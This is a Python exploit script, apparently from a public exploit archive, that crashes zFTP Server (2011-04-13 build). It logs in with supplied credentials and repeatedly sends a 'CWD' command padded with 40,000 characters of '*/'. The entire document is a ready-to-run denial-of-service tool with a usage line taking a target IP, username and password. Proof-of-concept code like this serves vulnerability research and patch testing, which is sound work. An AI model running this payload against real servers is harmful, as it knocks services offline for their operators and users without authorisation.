zFTPServer - 'cwd/stat' Remote Denial of Service

#!/usr/bin/python

# Exploit Title: zFTP Server "cwd" Remote Denial-of-Service
# Date: 2011-10-24
# Author: Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >
# Version: 2011-04-13 08:59
# Tested on: Windows XP, 2K3

import socket
import sys
import time

author = '(c) Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >'

# server 
server = 'zFTP Server version 2011-04-13 08:59'
title = ' "cwd" Remote Denial-of-Service Proof-of-Concept'

# payload

buffer= '*/' * 20000
cmd = "CWD"
payload = cmd + ' ' + buffer

pre_msg = 'Sending STAT DoS ... This may take a while '
post_msg = 'Job Done!'


def trigger(host, port, user, passw):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    
    try:
        sock.connect((host, port))
    except:
        sys.stderr.write(now() + 'ERROR: Cannot Connect to '+ host + ':' + str(port) + '\r\n')
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("USER " + user + "\r\n")
    r=sock.recv(1024)
    sock.send("PASS " + passw + "\r\n")
    r=sock.recv(1024)
    if 'Login not accepted' in r:
        sys.stderr.write(now() + 'ERROR: Incorrect username or password')
        sys.exit(1)
            
    print now(), pre_msg, '\r\n'
    try:
        for i in range(1,10):
            print "#",i
            sock.send(payload + "\r\n")
            time.sleep(5)
    except Exception, err:
        if 'Connection reset by peer' in str(err):
            print '\r\n',now(), server, ' has crashed'
        else:
            sys.stderr.write('\r\n' + now() + 'ERROR: %s\r\n' % str(err) + '\r\nWait a few seconds to see the server crashed\r\n')
        
    sock.close()
    print '\r\n',now(),post_msg 
    

def now():
    return time.strftime("[%Y-%m-%d %X] ")
    

def banner():
    print "\r\n",server,title,"\r\n",author,"\r\n\r\n"
    
def help():
    print "Usage: poc.py IP username password"


def main():
    banner()

    if len(sys.argv) <> 4:
        help()
        sys.exit(1)
    else:
        host = sys.argv[1]
        user = sys.argv[2]
        passw = sys.argv[3]
        trigger(host,21,user,passw)
        sys.exit(0)
    
if __name__ == '__main__':
    main()